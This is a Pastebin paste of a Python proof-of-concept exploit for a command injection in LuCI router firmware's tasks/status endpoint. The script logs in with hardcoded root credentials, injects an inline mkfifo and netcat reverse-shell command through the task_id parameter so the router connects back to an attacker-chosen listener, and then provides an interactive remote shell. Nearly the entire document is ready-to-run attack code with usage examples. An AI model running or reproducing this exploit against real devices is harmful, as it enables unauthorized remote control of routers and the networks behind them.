Guest User

poc

a guest
Jun 9th, 2026
43
0
57 days
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.49 KB | Source Code | 0 0
  1. #!/usr/bin/env python3
  2. """
  3. LuCI Task Status Command Injection - Reverse Shell PoC
  4. =======================================================
  5. Target : /cgi-bin/luci/admin/system/tasks/status?task_id=<injection>
  6.  
  7. Flow:
  8.  1. Login to LuCI (obtain session cookie)
  9.  2. Inject a single inline reverse-shell command via task_id
  10.  3. Accept the incoming connection and drop into interactive shell
  11.  
  12. No files are written to the router.  The reverse shell command is
  13. injected entirely inline:
  14.    rm -f /tmp/f; mkfifo /tmp/f; /bin/sh -i </tmp/f 2>&1 | nc <IP> <PORT> >/tmp/f
  15.  
  16. Usage:
  17.    python poc.py <router_ip> <listener_ip> <listener_port>
  18.    python poc.py 192.168.6.127 192.168.6.100 4444
  19. """
  20.  
  21. import sys
  22. import socket
  23. import http.cookiejar
  24. import urllib.request
  25. import urllib.parse
  26. import threading
  27.  
  28.  
  29. # ============================================================
  30. # Configuration — edit if needed
  31. # ============================================================
  32. LUCI_USERNAME = "root"
  33. LUCI_PASSWORD = "cqf123456"
  34.  
  35.  
  36. # ============================================================
  37. # Argument parsing
  38. # ============================================================
  39. def parse_args():
  40.     if len(sys.argv) != 4:
  41.         prog = sys.argv[0]
  42.         print(f"Usage  : python3 {prog} <router_ip> <listener_ip> <listener_port>")
  43.         print(f"Example: python3 {prog} 192.168.6.127 192.168.6.100 4444")
  44.         sys.exit(1)
  45.  
  46.     router_ip   = sys.argv[1]
  47.     listener_ip = sys.argv[2]
  48.     try:
  49.         listener_port = int(sys.argv[3])
  50.         if not (1 <= listener_port <= 65535):
  51.             raise ValueError
  52.     except ValueError:
  53.         print("[-] listener_port must be an integer between 1 and 65535")
  54.         sys.exit(1)
  55.  
  56.     return router_ip, listener_ip, listener_port
  57.  
  58.  
  59. # ============================================================
  60. # LuCI login
  61. # ============================================================
  62. def luci_login(base: str):
  63.     cj     = http.cookiejar.CookieJar()
  64.     opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
  65.  
  66.     data = urllib.parse.urlencode({
  67.         "luci_username": LUCI_USERNAME,
  68.         "luci_password": LUCI_PASSWORD,
  69.     }).encode()
  70.  
  71.     req = urllib.request.Request(base + "/cgi-bin/luci/", data=data, method="POST")
  72.     try:
  73.         opener.open(req, timeout=15).read()
  74.     except Exception as e:
  75.         print(f"[-] Login request failed: {e}")
  76.         sys.exit(1)
  77.  
  78.     cookies = [(c.name, c.value) for c in cj]
  79.     if not cookies:
  80.         print("[-] No cookies received — login failed or credentials wrong.")
  81.         sys.exit(1)
  82.  
  83.     print(f"[+] Logged in.  Cookies: {cookies}")
  84.     return opener
  85.  
  86.  
  87. # ============================================================
  88. # Injection helper
  89. # ============================================================
  90. def inject(opener, base: str, cmd: str, timeout: int = 30):
  91.     """
  92.    Send GET /cgi-bin/luci/admin/system/tasks/status?task_id=x;<cmd>;#
  93.    Runs in a background thread so the HTTP connection stays open while
  94.    the reverse shell is active (prevents the CGI from being killed).
  95.    """
  96.     task_id = "x; " + cmd + "; #"
  97.     url = (base
  98.            + "/cgi-bin/luci/admin/system/tasks/status?task_id="
  99.            + urllib.parse.quote(task_id, safe=""))
  100.  
  101.     print(f"[*] Injecting: {cmd}")
  102.     print(f"[*] URL: {url}")
  103.  
  104.     def _send():
  105.         try:
  106.             resp = opener.open(url, timeout=timeout)
  107.             body = resp.read().decode("utf-8", errors="replace")
  108.             print(f"[*] Injection response ({resp.status}): {body[:200]}")
  109.         except urllib.error.HTTPError as e:
  110.             print(f"[*] Injection HTTP error {e.code}: {e.read().decode('utf-8','replace')[:200]}")
  111.         except Exception as e:
  112.             # Connection reset / timeout is expected once the shell exits
  113.             print(f"[*] Injection ended: {e}")
  114.  
  115.     t = threading.Thread(target=_send, daemon=True)
  116.     t.start()
  117.     return t
  118.  
  119.  
  120. # ============================================================
  121. # Interactive shell (Windows-friendly, msvcrt non-blocking input)
  122. # ============================================================
  123. def interactive_shell(sock: socket.socket):
  124.     import msvcrt
  125.  
  126.     sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
  127.     sock.settimeout(0.05)
  128.  
  129.     print()
  130.     print("=" * 60)
  131.     print("  REVERSE SHELL CONNECTED")
  132.     print("  Type commands.  Ctrl+C to exit.")
  133.     print("=" * 60)
  134.     print()
  135.  
  136.     try:
  137.         sock.sendall(b"\n")
  138.     except OSError:
  139.         pass
  140.  
  141.     try:
  142.         while True:
  143.             # --- receive output from router ---
  144.             try:
  145.                 data = sock.recv(4096)
  146.                 if not data:
  147.                     print("\n[-] Remote closed the connection.")
  148.                     break
  149.                 sys.stdout.buffer.write(data)
  150.                 sys.stdout.buffer.flush()
  151.             except socket.timeout:
  152.                 pass
  153.             except (ConnectionResetError, BrokenPipeError, OSError):
  154.                 print("\n[-] Connection lost.")
  155.                 break
  156.  
  157.             # --- send keyboard input ---
  158.             while msvcrt.kbhit():
  159.                 ch = msvcrt.getch()
  160.                 if ch == b'\x03':          # Ctrl+C → exit
  161.                     raise KeyboardInterrupt
  162.                 if ch == b'\r':            # Enter → Unix newline
  163.                     ch = b'\n'
  164.                 sys.stdout.buffer.write(ch)
  165.                 sys.stdout.buffer.flush()
  166.                 try:
  167.                     sock.sendall(ch)
  168.                 except (ConnectionResetError, BrokenPipeError, OSError):
  169.                     print("\n[-] Send failed — connection lost.")
  170.                     return
  171.     except KeyboardInterrupt:
  172.         print("\n[*] Exiting shell.")
  173.     finally:
  174.         sock.close()
  175.  
  176.  
  177. # ============================================================
  178. # Main
  179. # ============================================================
  180. def main():
  181.     router_ip, listener_ip, listener_port = parse_args()
  182.     base = f"http://{router_ip}"
  183.  
  184.     print()
  185.     print("=" * 60)
  186.     print("  LuCI task_id Command Injection — Reverse Shell PoC")
  187.     print("=" * 60)
  188.     print(f"  Router   : {router_ip}")
  189.     print(f"  Listener : {listener_ip}:{listener_port}")
  190.     print("=" * 60)
  191.     print()
  192.  
  193.     # ── Step 1: login ──────────────────────────────────────
  194.     print("[*] Step 1: Logging in to LuCI ...")
  195.     opener = luci_login(base)
  196.     print()
  197.  
  198.     # ── Step 2: prepare TCP listener ───────────────────────
  199.     print(f"[*] Step 2: Starting TCP listener on 0.0.0.0:{listener_port} ...")
  200.     srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  201.     srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  202.     try:
  203.         srv.bind(("0.0.0.0", listener_port))
  204.     except OSError as e:
  205.         print(f"[-] Cannot bind port {listener_port}: {e}")
  206.         sys.exit(1)
  207.     srv.listen(5)
  208.     print(f"[+] Listening on 0.0.0.0:{listener_port}")
  209.     print()
  210.  
  211.     # ── Step 3: inject reverse shell command ───────────────
  212.     # Inline mkfifo reverse shell — no files left behind except /tmp/f (pipe)
  213.     # which is cleaned up by the rm at the start.
  214.     rev_shell = (
  215.         f"rm -f /tmp/f; mkfifo /tmp/f; "
  216.         f"/bin/sh -i </tmp/f 2>&1 | nc {listener_ip} {listener_port} >/tmp/f"
  217.     )
  218.  
  219.     print("[*] Step 3: Injecting reverse shell command ...")
  220.     inject(opener, base, rev_shell, timeout=120)
  221.     print()
  222.  
  223.     # ── Step 4: wait for connection ────────────────────────
  224.     print(f"[*] Step 4: Waiting for reverse shell from router ...")
  225.     srv.settimeout(120)
  226.     try:
  227.         conn, addr = srv.accept()
  228.         print(f"[+] Got connection from {addr[0]}:{addr[1]}")
  229.         interactive_shell(conn)
  230.     except socket.timeout:
  231.         print("[-] Timed out waiting for reverse shell (120 s).")
  232.         print("    Possible causes:")
  233.         print("    - 'nc' (netcat) not available on the router")
  234.         print("    - Router cannot reach this machine on the listener port")
  235.         print("    - Injection was blocked / task_id not vulnerable")
  236.         print("    - Firewall blocking inbound connections on this port")
  237.     except KeyboardInterrupt:
  238.         print("\n[*] Interrupted.")
  239.     finally:
  240.         srv.close()
  241.         print("[*] Done.")
  242.  
  243.  
  244. if __name__ == "__main__":
  245.     main()
  246.  
Advertisement
Add Comment
Please, Sign In to add comment